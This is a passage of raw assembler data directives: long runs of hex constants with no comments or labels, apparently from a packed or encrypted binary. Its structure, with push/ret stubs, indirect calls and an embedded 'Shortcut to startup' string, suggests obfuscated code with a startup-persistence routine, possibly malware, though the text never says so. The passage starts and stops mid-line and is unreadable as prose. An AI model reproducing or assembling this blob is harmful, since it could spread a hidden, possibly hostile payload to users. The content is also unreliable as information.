0B15E2Ah, 13582C35h, 7CF7E5B5h dd 66C9BEBDh, 75E6832Ah, 0FC26C335h, 6B59EC81h, 1DE7D632h dd 0D6DDD544h, 1F5E0D5Fh, 76B04334h, 55580B34h, 0FC054669h dd 0F45CE658h, 6D5C4570h, 3058B034h, 90559B61h, 0C3672BE1h dd 1F88E9DCh, 76B05D34h, 55588534h, 0FC06016Ah, 0F45C4540h dd 605C9470h, 33585834h, 0AD56EF62h, 44ED83BDh, 0B5DD0D2Ah dd 75AB013Bh, 0F43EC234h, 0F5E61FD3h, 0F057580Ch, 755858B7h dd 9D0B2C5Eh, 75581637h, 2E9B5014h, 717CD9BDh, 717C86B5h dd 75586128h, 0F09BE377h, 0B19D5E23h, 81A94B89h, 75581FDCh dd 6C493034h, 0C0EB5E6h, 0F43E5133h, 2F4C3CF3h, 65DC8B4h dd 7519DD3Bh, 75322C34h, 755BFE62h, 2B780B34h, 1D1DBF7h dd 31D9C610h, 75436510h, 231EB034h, 4DAE27F7h, 0D3D2574Bh dd 722096A8h, 0FCDC0467h, 9D588534h, 7558C23Fh, 3DB61BC9h dd 0EDF5D558h, 7A29EBD6h, 1307E783h, 70D72EB5h, 750F8E3Bh dd 75328534h, 755B2A65h, 2C786134h, 39D1E9F7h, 31D95C10h dd 75422810h, 24191634h, 2CD85FF7h, 22912D80h, 765D57BFh dd 0DD8672Ah, 0F057D832h, 75585811h, 6311913Fh, 0F43E102Ah dd 50A7004Ch, 754B003Bh, 7A08C234h, 755861BDh, 6CB1E934h dd 5C585834h, 6B409189h, 13983D32h, 56B1DCBFh, 7A588534h dd 0E8D13A83h, 73464D95h, 7558B18Ch, 7555B134h, 0B46B2C34h dd 79DE98E9h, 76361E78h, 13E1140Dh, 13C81CBFh, 2508BBBFh dd 13540754h, 14EF378Eh, 0F757BC6Bh, 75581635h, 74E586CCh dd 0F85EA600h, 5661FFB9h, 207BD932h, 0F05BC752h, 73464EA5h dd 9C99E31Fh, 3575E636h, 81FC26C3h, 326B59ECh, 441DE7D6h dd 5FD6DDD5h, 341F5E0Dh, 5E98343h, 6A58A4F3h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 9F61C351h, 8A4371DEh, 0B3CB7F9h, 0A9840FC0h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0C9E0C357h, 0B58DB91Fh, 61E4CB8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 9FC35545h, 25527A09h dd 91958B51h, 5B061E2Bh, 3B8h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 85156D0Bh dd 34C28166h, 6AE6FF01h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 53F5C351h, 95878DE9h dd 0B5891438h, 61E2D79h, 618D0957h, 5A061E09h, 8BDE8B40h dd 22C4BAC0h, 83F50E8Fh, 1E1D79BDh, 9750006h, 2B25BD83h dd 7400061Eh, 8B535019h, 403B8C0h, 85890000h, 61E0D19h dd 0ACA19D8Dh, 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h dd 403B853h, 85890000h, 61E0D19h, 0A9429D8Dh, 0D3FF0620h dd 6A585Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 0C94740C3h, 2F4A9B64h, 0B885D1Ah, 1E03459Dh dd 0D0BF0F06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 9EC35040h, 0D9FD7FAAh, 0A5958B79h, 8B061E09h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 18850F5Dh, 0E9000000h, 13h, 0B7D5D523h, 93689F9Bh, 0F4FD108Bh dd 0B8881287h, 614FF843h, 12E8h, 0E4914A00h, 2DA9DA9Dh dd 75278022h, 0F52F6BACh, 8914C3F5h, 1E09818Dh, 0C1815906h dd 70FCh, 6E8h, 5CD9A600h, 0B21410Eh, 1E1DC9B5h, 0D2335F06h dd 10E9h, 0AEE30C00h, 2E065E78h, 0AF1CB016h, 0E81D7D8Dh dd 111C8BF0h, 12E9h, 64EBF500h, 5AA5486Dh, 69AF1872h, 0C1599777h dd 816E9E8Bh, 8186A8F3h, 265ABF6Ah, 0F3811BE8h, 750E7342h dd 0F83F7DBFh, 61F38115h, 0F12C0DEh, 8B53F8B7h, 11048FFAh dd 71950153h, 58061E29h, 120DB58Bh, 0EA83061Eh, 0E0805104h dd 0FA815F55h, 0FFFF8FACh, 0FF9F850Fh, 0BF0FFFFFh, 325820F7h dd 3231C857h, 6C121001h, 46BB56C2h, 76B30025h, 322F0625h dd 64740101h, 95B7BAC2h, 5FAB60D0h, 54228E6Ah, 3258C88Dh dd 3231E050h, 6B120401h, 7EBB5BC2h, 76B30525h, 32278425h dd 63734001h, 0BB3D95C2h, 2C2EE1BCh, 3D36A007h, 3233CA85h dd 64326801h, 323202E9h, 0F16CA001h, 1646C95Fh, 1676A105h dd 32320B05h, 0F1644E01h, 9AEFE710h, 0DA9BADD9h, 0A9D88067h dd 7B8F038Ah, 32345E1Eh, 3208A40Eh, 26DB1001h, 20320801h dd 89EE66A1h, 0A90E4A1Fh, 129025E3h, 6E4EE201h, 0DB9CADC2h dd 3232217Ah, 323200E9h, 0D36E7201h, 0E183A324h, 0AC9B0F3Bh dd 0CEA6103Dh, 0ABAF0BF8h, 68345E27h, 30BB2F91h, 0B9321001h dd 0A88858D9h, 0A269F281h, 312F9F88h, 0A731071Fh, 342CAB0Ch dd 167E410Eh, 63324AFFh, 323213E9h, 0F16B2801h, 167E8D58h dd 16768305h, 32321505h, 0F163C101h, 0A7B91874h, 342C3BC8h dd 581ED082h, 31DA5801h, 12320401h, 0BB6AC159h, 0B3362545h dd 2936A445h, 72324001h, 0FBF9E351h, 0D6BB7FC1h, 3B52BE14h dd 2C26F5B4h, 3353FE07h, 2C1990B4h, 0DB3A0B07h, 32324004h dd 0E4DC36Ah, 7AB976E1h, 0E98D07FDh, 3235EC51h, 233F0201h dd 3285557Ah, 65833F52h, 686939DFh, 40BA167h, 0BEB61FFEh dd 0B9320801h, 2C3EF994h, 3BF38107h, 32320FE8h, 4D160501h dd 620985B6h, 8C6BAA55h, 0B2D565D9h, 0B73DE138h, 3232048Eh dd 2ED39788h, 73B9071Fh, 6032EA00h, 323243E9h, 0F1680001h dd 1666995Bh, 16768905h, 32321105h, 0F1604001h, 189F438h dd 31554C2Ch, 62322AC9h, 323223E9h, 0F16A3001h, 16768159h dd 16768505h, 32321805h, 0F1624101h, 1AB51AE1h, 0B2E44C31h dd 0F3B14EE7h, 848D7604h, 0A20B89D9h, 3DB9474Ah, 32322884h dd 0BFCA8B01h, 2C7E388Ch, 0CB876307h, 8A343E00h, 32321002h dd 323205E8h, 0E5FC3001h, 15A8827Eh, 0E90F1B8Eh, 0D3CDB494h dd 53E8F70Eh, 32322CE8h dd 95288901h, 0EDA8403Dh, 533EB5B7h, 0FB8F8F2Ah, 0BF34223Ah dd 110C998Ch, 0B146F807h, 0B7012193h, 342C1098h, 0DBF3C72Ah dd 32582003h, 3231C857h, 6C121001h, 46BB56C2h, 76B30025h dd 322F0625h, 5E98301h, 0C08BA4F3h, 0E38123B3h, 4C5C27F6h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0BFC35646h dd 8BEB15F3h, 0DE8C3h, 240000h, 0BA3BF746h, 0E1B68F13h dd 0E846AA7Fh, 0Ah, 69447BA1h, 0E767C34Eh, 7E8F788h, 46000000h dd 911DBCB1h, 11E90BD5h, 0FE000000h, 16D5AAACh, 84BA326Dh dd 0BFA2BDE1h, 33C453DAh, 89595B5Eh, 1E1509BDh, 67C18106h dd 0BB00006Bh, 21E2C3C1h, 0B58BFF33h, 61E16D9h, 0B30F34FFh dd 0B58958CDh, 61E07EDh, 0BB69C081h, 0B58B6696h, 61E02EDh dd 0A773E881h, 0D08B359Ah, 0FB49E881h, 10E90FC5h, 0FD000000h dd 8020220Dh, 140F78B5h, 124D8AB0h, 50959886h, 2B5B58Bh dd 48F061Eh, 17880F39h, 0E9000000h, 12h, 0D003135h, 57922707h dd 32B72665h, 0E920C1ECh, 0EF83CB8Ch, 0D2EA8003h, 0ED85894Fh dd 81061E29h, 0FF9598FFh, 18850FFFh, 66000000h, 0FCAFEE81h dd 24E9h, 3C6F4D00h, 425C6DF0h, 0EB26410Dh, 66F75F3Fh dd 55B3DB81h, 0FFFF63E9h, 7D2577FFh, 0FF8C3DA5h, 0BEC5603Ch dd 0B0E9ACh, 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h dd 1E02F185h, 36840F06h, 3B000000h, 1E145585h, 2A840F06h dd 3B000000h, 1E1E9D85h, 1E840F06h, 3B000000h, 1E21C185h dd 12840F06h, 83000000h, 1E2BFDBDh, 840F0106h, 5, 5FE9h dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 1E4CB89Dh, 5B806h dd 0E3FF0000h, 0D00BC361h, 68536CEBh, 6374726Fh, 74207475h dd 7473206Fh, 75747261h, 70h, 13h dup(0) dd 0AAF80000h, 13F25h, 4EE90000h, 6800000Fh, 6234243h dd 0FC03DBE9h, 434A68FFh, 0D1E90623h, 68FFFC03h, 623451Dh dd 0FC03C7E9h, 455C68FFh, 0BDE90623h, 68FFFC03h, 6234602h dd 0FC03B3E9h, 469D68FFh, 0A9E90623h, 68FFFC03h, 6234ABCh dd 0FC039FE9h, 4D6E68FFh, 95E90623h, 68FFFC03h, 6234E3Fh dd 0FC038BE9h, 719ECEFFh, 7388D021h, 7384D223h, 7087D223h dd 7186CF20h, 0A9E25A21h, 0AAFB4BACh, 0A5F646C1h, 0A4F545B2h dd 0D7F949C6h, 0BB36A95Ah, 0A67E1AAEh, 62AFBB39h, 729FCB00h dd 30181022h, 0E6866617h, 9B721A93h, 0A9DE40BDh, 0C3F44CADh dd 4958BA78h, 1A93E6D2h, 0D436C196h, 0E042B79Fh, 257C666Fh dd 0C4767B16h, 2EE98C80h, 0BAA0A9DAh, 0E267342Dh, 4F26E7h dd 0FAD90000h, 2A011A0Eh, 2E6ACC2Bh, 13AD5EFDh, 611A93D0h dd 3F4441A3h, 29176055h, 0B74019B7h, 67D2E5Fh, 0CA1A93E9h dd 8BF6A78Fh, 0CB1A93E9h, 1E53B50Dh, 0EE51024Ch, 261A93E9h dd 3DAE1068h, 0E8F74E34h, 716AFFE3h, 63E7E343h, 0D6h, 62AFBB16h dd 0EF97249h, 19DE77ACh, 0ABA890C1h, 0FBE05B0Ch, 72301C8Dh dd 0E5EB6A41h, 0B708A486h, 1F389012h, 95D9831Ah, 0C3D4F68h dd 8E7BEF24h, 9673F72Ch, 0BE6B1B46h, 0D1991C8Dh, 22481F38h dd 38C394E5h, 8AE03107h, 0F3251B7Dh, 0B68D2C45h, 0BDF95BB4h dd 0B18DDB8Ch, 0DCB1A93h, 0CB7DABBDh, 43C6ADB2h, 5C6563D8h dd 5EDB8C2Bh, 7A1CB378h, 89CCA3BCh, 0DA179847h, 91E919DEh dd 40C9A178h, 9B71A2DEh, 31EC0B4Ah, 6F51E7AEh, 0E36BB981h dd 7800000Ch, 76C717F4h, 2 dup(74C515E2h), 79CA1AE5h, 4CB1BDCh dd 0F502538Ch, 0FC1754A5h, 0FFFC5BACh, 30C5EAFh, 631491B3h dd 1AAEB9F8h, 0BBF36038h, 0BC0D5D9Ah, 0F81161AEh, 0FB35A859h dd 0BF7D1C8Dh, 0EFA9F8Eh, 0A512DBF3h, 0B40CE73Bh, 3956EA9Bh dd 1F9E1A93h, 92EFF36Eh, 2D85431Ah, 60F7CECBh, 42B96A9Bh dd 61A92EFh, 1146A84Fh, 0CD38A46h, 874B5EA5h, 535CCD2Fh dd 409186Fh, 292F061Eh, 0E53672D4h, 3C588986h, 0E7E21043h dd 0AE35h, 0AFBBE800h, 8ACB0062h, 4AFC0B6Dh, 7A1C8DFFh dd 0AEC717F0h, 0FEE35E0Fh, 7C331C8Dh, 84C022DDh, 4624FB2Ch dd 7CD9B0C9h, 6C624A7Bh, 0C2738CBCh, 1A93F2B2h, 1F8233B2h dd 571A93E9h, 0DFF14199h, 35E6FF29h, 1CB340E7h, 370E27E5h dd 0F425B21Eh, 74312A6Bh, 2CFAF156h, 6BC31B25h, 9F02B352h dd 0D710B35Fh, 0C112E819h, 41A86394h, 0D46F51E9h, 0BDCBE0Ch dd 0FB710000h, 0EB6DBE0Eh, 0E96DBE0Eh, 0EA6FC010h, 0E96CBD0Dh dd 7FF7BE0Eh, 98E80F46h, 97E72447h, 96E61146h, 9CEC2545h dd 0D14CFD7Ah, 211AAEB8h, 9ABBDC49h, 0AEBC0D5Dh, 0BBA81161h dd 0CB0062AFh, 8259729Fh, 1BF122D5h, 0B7681F09h, 1C8DFB44h dd 7683D58Ch, 2880D814h, 78DB0A0Fh, 0B6D8ACBh, 8A8150CFh dd 0A95AF92Ah, 1A934C63h, 9E01B231h, 4A1A9343h, 6D24E90Eh dd 75B113ECh, 5463C51Dh, 1A9343EDh, 5FE4DEE3h, 0E7E29D66h dd 8C6BEAC1h, 0B5BDEE2Ah, 7, 894A268h, 0FA550000h, 50011A0Eh dd 1A93ECFCh, 0BFF45614h, 0BD0E5EABh, 0F30264ADh, 7DD7CFA6h dd 0F2643BDAh, 0D7CBD405h, 1C7F30CFh, 71EFC1h, 0EFC1EC4Fh dd 0A1662471h, 8FDBB2E3h, 89E13282h, 0A90F1E80h, 5B71EFC1h dd 679CFEFBh, 0B3A80AEFh, 0F571B0AAh, 2A408872h, 2E3C8DDDh dd 0AB827FE1h, 702152BFh, 8E103EF4h, 0CF8A6100h, 0F4EEF728h dd 959B6B4h, 0F355B2B8h, 9FF6F1F6h, 9A22A198h, 0B6E71049h dd 253EEA1Eh, 0F1468C74h, 0D4D97877h, 74AB32E1h, 0DF426D7Ch dd 176F0DBDh, 1FDD2859h, 0CC7020CFh, 649562F5h, 0D3EC5CCCh dd 139DFA22h, 4AFCBA69h, 37DD79Bh, 54C434BBh, 96768A3Bh dd 0A5AA4D3Ch, 12D74FE9h, 0F90384C2h, 0AF6C75F4h, 1FDD2859h dd 0E3F10106h, 0D8C85E5h, 72D4BF0Ah, 46F11EABh, 1D4D9EF6h dd 0E5DBC3F4h, 4DEC0533h, 0DA9BE648h, 3A6B8A5Ch, 61FDC389h dd 0BAD39147h, 0CF76A1Bh, 813F7F63h, 90DAB150h, 2C2BDB7Eh dd 0D91577CFh, 4F636881h, 0E43C511Eh, 89A278A9h, 5EC639EAh dd 500E7F63h, 0EC22481Fh, 0EF2B8D6Ah, 0EA17DC97h, 723AC701h dd 0A0924h, 41CE9E00h, 43B8A0F1h, 43B4A2F3h, 40B7A2F3h dd 41B69FF0h, 79B22AF1h, 7ACB1BDCh, 75C616F1h, 74C515E2h dd 0A7C919F6h, 0BE06792Ah, 764E1AAEh, 62AFBB09h, 134556A7h dd 0E331F963h, 9CAh, 0B0000D5Fh, 0B404F95Fh, 0B606F363h dd 0BB0BF465h, 0BC0CEB6Ah, 11447DF5h, 264596E6h, 0F4899E9h dd 1F4B9CECh, 380A2F2h, 0AEBEEF52h, 0E24F271Ah, 62AFBBh dd 0FBAC8ACBh, 1C8DFB80h, 0AAC112D0h, 6B5055Dh, 0D94FB956h dd 8770E9C0h, 19B8E925h, 93DBB068h, 2942001Ah, 0DB66D98Ah dd 37221A93h, 0C3DFBC0h, 827B25D4h, 3CECDB2Eh, 0A354F30Ch dd 0DB568138h, 8E3BBA78h, 0D666D058h, 0D0812051h, 0DD48B10Ch dd 2E248644h, 84354EFAh, 0D75508CCh, 0DEB5CE8Ch, 0E233838Ch dd 43C47F88h, 0DE372E49h, 924C816h, 0B3B90000h, 0A3B50656h dd 0A1B50656h, 0A2B70858h, 0A1B40555h, 0C73F0656h, 0E030C78Eh dd 0DF2FDC8Fh, 0DE2EC98Eh, 0E434DD8Dh, 299445C2h, 691AAEBDh dd 0AFBB2491h, 8CCB0062h, 8C51566Fh, 6A56F29Fh, 144CAF60h dd 0C6841C8Dh, 39A4556Eh, 791C8D14h, 89B48ABBh, 1C8D1476h dd 0B8D147B1h, 9D5878E1h, 6B33FF1Dh, 0F493C41Ch, 0AE8DFE43h dd 1243FA1Ah, 0EF4783E5h, 9E6BFFD6h, 0AB6DFD4Eh, 0DCF54DAAh dd 8D118C3Dh, 0A3611AAEh, 558A72h, 0F76095F7h, 0BAC84904h dd 7CF6936h, 889B9h, 0C14E1E00h, 0C3382071h, 0C3342273h dd 0C0372273h, 0C1361F70h, 0F932AA71h, 0FA4B9B5Ch, 0F5469671h dd 0F4459562h, 27499976h, 0BD86F9AAh, 0F6CE1AAEh, 62AFBB89h dd 729FCB00h, 352DB010h, 4C9C75F5h, 154BDB6h, 594AFEEh dd 0FA620000h, 50011A0Eh, 1AAEBBCBh, 59304907h, 96A8F811h dd 5653B563h, 0BB9B06B7h, 1DDB1AAEh, 0D78B3BECh, 0E07B63C2h dd 48AA4F09h, 0E8D2DB0Ch, 71AD625Bh, 84E6BD6Eh, 0BCED298Bh dd 53B4h, 1CF36700h, 0F991C23Dh, 0C8361F0Eh, 0B0126A8Dh dd 0FE031C74h, 62D5100Bh, 8322532Bh, 8D4E6FD2h, 87E9A71Ch dd 0EA2C4578h, 0C4BEC33Ch, 9941463Fh, 1E38CDh, 643B0000h dd 6CA80AF5h, 0EEF34C3Bh, 6DE839D8h, 3525569Ch, 27Bh, 96138h dd 4231629Eh, 6B11EEF3h, 21F6188Fh, 78A058F0h, 3BDAE5Fh dd 3FFD1AAEh, 256CEDDh, 0C7AC1AAEh, 0FA2EDAD3h, 424330E1h dd 542B1C8Dh, 5A96F803h, 720DE29h, 6CCE2930h, 0D829FF30h dd 0E3187A7Dh, 676C8572h, 1FD05928h, 10CA9FBCh, 86B736F4h dd 0C6AEDFD6h, 16564C55h, 1768B83Fh, 2055B754h, 0D0A7C04Bh dd 0D4107285h, 0AB4ABBA3h, 68433EA6h, 0CABE44B7h, 4FCE8C10h dd 0EE3F5C76h, 0F12D8F68h, 0C3C3B7C0h, 7E2AC2BEh, 0FC7B188Ch dd 8E209E7Ch, 0D1A8D9FEh, 17E4749Ah, 82179B5h, 24E3803h dd 9ECFACE0h, 1B3C9DC8h, 87D010CAh, 0BBC5B74h, 10CA1B90h dd 0C92E29E0h, 0A2D32B67h, 0FBEF7BCCh, 5600E808h, 0CFC022A1h dd 383597EFh, 0B48F8A33h, 0F92A7159h, 190FFA0Ah, 54BFAC7Dh dd 719ECDA2h, 44955358h, 3FCD9DF7h, 0AC5DD11Bh, 90C11919h dd 99523F6Eh, 3E37CCB6h, 30EE0132h, 406h, 9C9ABBE3h, 8DFB70EBh dd 0AA02C01Ch, 0B1C5B548h, 0FF6213B2h dd 371C8DFBh, 5B3F4879h, 9CB54213h, 0F5A690C5h, 1C8DFB8Ah dd 35B40CCAh, 4291B67h, 5A3061AAh, 0FAB4C09h, 0BB26D776h dd 0FB1C8D4Eh, 36350C3Dh, 3A373DD9h, 44BD1A35h, 0FA79C30Eh dd 764EE58Ah, 37407139h, 0AD4A0B43h, 0CB4426FBh, 0C3956C69h dd 6798D436h, 8DDF4EB6h, 1419941Ch, 103FE05Dh, 2F287997h dd 0FD2E6ACCh, 0ACBE0EF4h, 23FA1363h, 0EA550634h, 2A1C8D01h dd 7DB2146Ch, 86C224EDh, 3126FD2Eh, 0EF5564C6h, 0A11C8D01h dd 0ADE244B5h, 0F8FF56A8h, 0A0025A96h, 0CF160CF1h, 0C2976E67h dd 0F06B1C35h, 401C8D01h, 52485182h, 6ABA3D1Ah, 8D0DA03Fh dd 81770D1Ch, 6FEE0053h, 0FFFFFF01h, 41BE9B72h, 8372A3DFh dd 1262AFBBh, 467A9C1h, 5BB35C0Eh, 2A92A103h, 701C8DFBh dd 1357978Bh, 6406DDF6h, 0F153A4B2h, 0BFFB5DB5h, 0EE67B88Eh dd 51B34810h, 4C5BBD15h, 0CCFE5AB8h, 0F471696Eh, 1D8DB3FBh dd 5AEDh, 1CF3A000h, 65A2C84Eh, 3E6FC703h, 0ADC672A6h dd 0AEBB0FFCh, 2B8D4B1Ah, 0AEBBA01Ch, 0B9A1A61Ah, 0DE13332Ch dd 2B25E7h, 0E1D80000h, 1C8DF1AEh, 0FDB2E953h, 0F39CFFFFh dd 0FB38A354h, 87BE1C8Dh, 5F34D948h, 407ECB1h, 9092D605h dd 0AC9CCD25h, 7, 290A25Fh, 0F3550000h, 23029DEEh, 52036B93h dd 1C8DE6EFh, 0E0116927h, 46A86109h, 60B05911h, 556EDA4Eh dd 93FB44A4h, 0E446041Ah, 93C06ED5h, 7B5F641Ah, 0E31DF5EEh dd 43E7E7h, 0FA9A0000h, 0BF38210Eh, 0B0C9215Dh, 22D37211h dd 1C8DFBBFh, 930E39F7h, 0E31C8DFBh, 0F943F425h, 0F71A93D0h dd 51C8D739h, 151A93D0h, 2257B956h, 0AE5DBF48h, 8392D1C9h dd 6FF847Eh, 0F8E7E32Ah, 0A7h, 62AFBBABh, 6D8ACB00h, 20370E0Bh dd 97D3AADBh, 87E3187Ah, 670F3A8Ah, 8D1C8DFFh, 1C1A3BDDh dd 8DFEF06Bh, 2A82401Ch, 21797ED9h, 78E1B8D1h, 0F290007Fh dd 64995354h, 0BB6D9B33h, 0C22DF1A2h, 65231AADh, 17E0754Ch dd 18DF76C7h, 347EBE5Dh, 3B895169h, 46Ah, 50A06DFFh, 54A459FFh dd 56A65303h, 5BAB5405h, 5CAC4B0Ah, 71E41D95h, 86E53686h dd 6FE83989h, 7FEB3C8Ch, 0A3204292h, 0AEB18FF2h, 82EFC71Ah dd 0BE391CF3h, 0B214FD6Dh, 0E76E4576h, 0FB6FC010h, 4D1EF50Eh dd 800843C2h, 9D7D1252h, 0BB2D966Ch, 8DF0A1AFh, 0C51C8DFBh dd 184DAF07h, 5365B552h, 0A95A73A5h, 1A93E1B3h, 0D2E14301h dd 1A93E069h, 828B6FF2h, 0B289A296h, 812051A6h, 8DFAE8D0h dd 8435D41Ch, 10B1CD19h, 41B6A259h, 1A4BA3DFh, 0AFC111CFh dd 5B6CF79h, 16928DBCh, 31C69168h, 0C8D780B2h, 0F728B2BFh dd 9976F5ACh, 8AA3FB37h, 0EDC73AEBh, 0D6830ED2h, 0C68BC729h dd 6138D708h, 89B404F5h, 0ED2ED18h, 57708BCCh, 0E817A052h dd 0CC1DE5A2h, 0D30F719Eh, 5C62CCA2h, 15000000h, 8DFB7AE1h dd 69B66D1Ch, 4462B25Ch, 0CB1B736Fh, 0E540ADB2h, 4C6E7B7Eh dd 0E512441Bh, 0A8AF8683h, 36B5F153h, 318CBBC4h, 50013250h dd 1C8D2DEDh, 0AEFEE4CDh, 31364FA8h, 0B1E720A1h, 23F92AC8h dd 107285D2h, 8D359B01h, 0EFD3361Ch, 2A43B89Fh, 97F90653h dd 0A6610A5Bh, 0F3369F75h, 93C44F1Ch, 0EE9F9BBCh, 1C8DFB73h dd 94AD05C3h, 7466928Fh, 89BA25C9h, 0D69FA4A1h, 0B47DD815h dd 193E1546h, 0C78E70E5h, 3A76D830h, 1F4B80E2h, 389A5FF9h dd 0D42A4FCh, 0F960B15Eh, 9EA79CFEh, 70EB9CA4h, 0C01C8DCFh dd 0AB2EAA02h, 4BAAAFB7h, 111F4DC5h, 0D7805788h, 0B4A9D424h dd 691C8D90h, 0CCDDD3h, 0FF3ACBEEh, 0C9CEFFFFh, 91596767h dd 0EE0507FBh, 93D19F1Eh, 5C7B32D3h, 64BC160Bh, 0AFBB4433h dd 0A8C6F63Bh, 0F9513076h, 0FF086297h, 0BD6B9DAFh, 3C2E05A4h dd 43571D3h, 93BC9553h, 5BFCB31Ah, 0B1023EA0h, 0B3EF51A6h dd 73EAF95Bh, 791A938Ch, 0A94E07DEh, 0D1DA0B47h, 0E2635CE9h dd 5355E7E2h, 8000000h, 11A0EFAh, 32DF8B62h, 0B26394D0h dd 1A93D06Eh, 11AC8166h, 87C4B892h, 7482A008h, 0E43CFC6Bh dd 6F0C7382h, 0FD021A93h, 0C1878005h, 43E2E7E2h, 69D4373Eh dd 94BFA406h, 1A935729h, 727AAB69h, 0A3h, 0BA25D675h, 0FA1A9357h dd 8FE71443h, 0AFBB6F5Eh, 0E4724962h, 0C5FAE213h, 0D0056790h dd 0D60B6D9Ah, 2B7B94h, 1C8DFF56h, 0D323EC7Eh, 0BD1FE882h dd 6181E9C0h, 0C01B7F95h, 78A90160h, 0E70028E0h, 93DAD636h dd 0E838F61Ah, 6EFD22D6h, 7F3049A1h, 1CB36EB9h, 9E0F9B7h dd 0A5BAB4Ch, 34F1AC4Bh, 0B6F522Bh, 1B8F543h, 1F4D0000h dd 751A2F2h, 551A2F2h, 653A4F4h, 0FD58A9F9h, 6BE3AAFAh dd 84D42332h, 8BDB3833h, 8ADA1D3Ah, 88D83139h, 0C538E966h dd 0D1AAEB6h, 9ABBC835h, 0AEBC0D5Dh, 0FAA81161h, 50011A0Eh dd 1A93D0CCh, 64DDABB0h, 0EB76C2DFh, 4FB16FBAh, 93A3D940h dd 0D0CACF1Ah, 1D8031D0h, 551A93A3h, 514A6697h, 43E7E2FDh dd 0C4h, 14E96F46h, 564576B2h, 62AFBBh, 0D02B2C03h, 2A01326Eh dd 5B6ACC2Bh, 1C8DFF2Bh, 287891D9h, 147693D7h, 253EEA1Eh dd 93F21474h, 0BBDBE01Ah, 7DFCE55Fh, 0AF6DB8E9h, 6DDB4D5Fh dd 7BDEB554h, 79A25384h, 391CB37Dh, 0CA8B627Bh, 25C4DD2Dh dd 0B3220974h, 5A8B4910h, 6A25D283h, 6F521DC5h, 0E772C088h dd 7C000000h, 82D323F0h, 2 dup(80D121D6h), 7DCE1ED9h, 8CF1FD8h dd 0F9FE5790h, 0F81358A9h, 0FB0057A8h, 0F7105AABh, 570885A7h dd 1AAEB5E4h, 0BBE7542Ch, 70EB9C9Ah, 0C01C8DFBh, 4FA75009h dd 0B78EA7F7h, 4F2657B4h, 36D5EE1Bh, 8DFB1A85h, 4B9C5A1Ch dd 0E7BDEE0Bh, 9562F7CEh, 0D7C6F733h, 62AFBBh, 22729FCBh dd 17301810h, 3FB8A178h, 0BF70A1DDh, 1AAEBBDEh, 0BDF25412h dd 0C31464ADh, 8F6243A7h, 4323202Ch, 0B57A89EBh, 0D523A8AFh dd 0C9CED6CCh, 3212374Ch, 0C598D612h, 0A609D04Fh, 0B81633B2h dd 34714B38h, 0D13E2C03h, 0A63A3081h, 0A78382BDh, 0D638908Ah dd 0DD3FB8A1h, 0E5865DDCh, 0AF0F92Ah, 0F5FA8C2h, 0EB6AACBEh dd 0D669E8E5h, 0EB431C74h, 0FE33193h, 96000000h, 5DF9D04Fh dd 7D9D1D9Ch, 0F89C0F83h, 0B1BBD8C7h, 9DCD0264h, 7ADD1274h dd 85E61B7Dh, 62F3288Ah, 57FE3395h, 50093EA0h, 461045A7h dd 3E1A4FB1h, 56C257B9h, 0C681E689h, 4, 8704EE83h, 895C2434h dd 4812424h, 424h, 4FBB6800h, 3C890000h, 0E6895624h, 4C681h dd 0EE810000h, 4, 5C243487h, 68240489h, 62340EDh, 81243C8Bh dd 4C4h, 48B5400h, 4C48124h, 81000000h, 4ECh, 243C8900h dd 8B08408Fh, 89522404h, 4C281E2h, 81000000h, 4C2h, 24148700h dd 243C8B5Ch, 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch dd 0FFFBF4A0h, 2FD1FCACh, 7CA7DA7Bh, 4F4BB8D3h, 0C5030623h dd 5DC0E0FFh, 0F1881313h, 7D6098Dh, 6B9048ACh, 0A8416A6Eh dd 0F530ED9h, 673532B6h, 3F870245h, 0E38D4E47h, 25E56452h dd 9D555971h, 0EEF6046Bh, 8DD6444Bh, 3DC65470h, 67AC7C42h dd 0AF124994h, 604F0702h, 8046014Dh, 1F54205Eh, 0E5504BC5h dd 3E176BBEh, 352B0091h, 0D90355E0h, 6641029h, 20C51BA0h dd 8D8D462Dh, 623514Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 0C8C35242h, 0EE920h, 8CA30000h, 8F4CBEE5h dd 0B7BA1769h, 8A2C1F16h, 2E999D09h, 8D89061Eh dd 61E2375h, 7959BF66h, 324D85C7h, 6308061Eh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 85C75DC3h, 61E3169h, 0 dd 0FE9h, 28ACE400h, 6F8B00BFh, 0BF590DEAh, 26CDBF0Bh dd 2931B5FFh, 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0FC0EF1C3h, 31D37EBBh, 1E2DBD9Dh dd 0B995FF06h, 6A061E16h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 8B16C357h, 0C7F311B5h dd 0BF0F8EF0h, 51858BFEh, 0E9061E15h, 0Ch, 4D570A3Bh, 0D988099Dh dd 0D7FB2C9Eh, 95FF006Ah, 61E26C1h, 0EEBC08Bh, 0F170D259h dd 23D0170Fh, 0EAE65B87h, 9D8DEDCEh, 61E2E6Dh, 39B8h, 59858900h dd 0E8061E1Eh, 0 dd 0D0558h, 3890000h, 39E9h, 0E6000000h, 0Dh dup(0E6000077h) dd 12E8FF77h, 0FC000000h, 0C271AF50h, 553BE85Eh, 